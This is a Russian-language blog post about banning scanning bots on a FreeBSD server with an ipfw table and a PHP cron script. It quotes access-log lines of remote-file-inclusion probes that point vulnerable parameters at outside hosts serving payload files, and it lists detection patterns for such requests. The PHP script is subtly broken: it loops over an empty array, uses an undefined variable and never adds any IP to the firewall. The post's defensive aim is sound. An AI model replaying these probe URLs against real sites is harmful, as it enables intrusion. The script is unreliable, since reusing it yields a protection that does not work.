Борьба со сканнерами-спаммерами

Категория: / DEV Блог / Сервер (FreeBSD)
Последнее время в логах сайта огромное количество подобных запросов.
Избавляемся от супостатов подручными средствами.

...
69.73.189.182 - - [05/Oct/2008:03:31:29 +0400] "GET /page/5/errors.php?error=http://www.ezy-hosts.com//temp/errors??? HTTP/1.1" 200 626 "-" "libwww-perl/5.79"
72.249.95.130 - - [05/Oct/2008:03:32:15 +0400] "GET /galleria.html.php?mosConfig_absolute_path=http://ctg.su/files/bodo.txt??? HTTP/1.1" 200 630 "-" "libwww-perl/5.805"
62.44.82.234 - - [05/Oct/2008:03:26:25 +0400] "GET /errors.php?error=http://www.stichtingopvangratten.nl/cache/response.txt??? HTTP/1.1" 200 639 "-" "libwww-perl/5.803"
61.80.90.1 - - [05/Oct/2008:03:19:38 +0400] "GET /errors.php?error=http://oursoultvxq.com/bbs/data/vip/id2.txt??? HTTP/1.1" 200 620 "-" "libwww-perl/5.79"
61.80.90.1 - - [05/Oct/2008:03:19:38 +0400] "GET /bans/page/6/errors.php?error=http://oursoultvxq.com/bbs/data/vip/id2.txt??? HTTP/1.1" 200 632 "-" "libwww-perl/5.79"
...



Подразумеваю, что у нас freebsd и фаервол - ipfw.
Добавляем правило для фаервола deny ip from table(0) to any

И создаем скрипт

#!/usr/local/bin/php
<?php
 
$ipfw_cmd = '/sbin/ipfw';
$ipfw_table = '0';
 
$access_log_file = "/var/log/httpd/my_syte.ru-access.log";
 
$already_banned_ips = array();
 
exec("{$ipfw_cmd} table {$ipfw_table} list", $already_banned_ips);
 
foreach ($already_banned_ips as &$tip) {
  $tip = preg_replace('#\/.*$#', '', $tip);
}
 
 
echo "[Read log]\n";
 
$file = file($access_log_file);
 
$matches = array(
  '#=http:\/\/#'
, '#"libwww-perl#'
, '#(_GET\[|_POST\[|_COOKIE\[)#'
);
 
$banned_ips = array();
 
echo "[Ban]\n";
 
$count = 0;
 
foreach ($banned_ips as $ip) {
  // match request
  preg_match('#] "(?:[A-Z]+) (.*) HTTP\/\d\.\d"#', $line, $line_matches);  
  $line_ = @$line_matches[1];
 
  if ($line_) {  
      foreach ($matches as $preg)
      if (preg_match($preg, $line_, $m)) {
            preg_match('#^([\d\.]+)\s#U', $line, $ip);
        if (!in_array($ip[1], $banned_ips)) {
              $banned_ips []= $ip[1];
        }
      }
  }
}
 
echo "Banned : {$count} ips\n";


Вешаем на крон. В промежутках между ротацией логов.
Использовать на свой страх и риск. Писался за пять минут на коленке, требует доработки!)

Посмотреть список забаненных ipов можно командой ipfw table 0 list.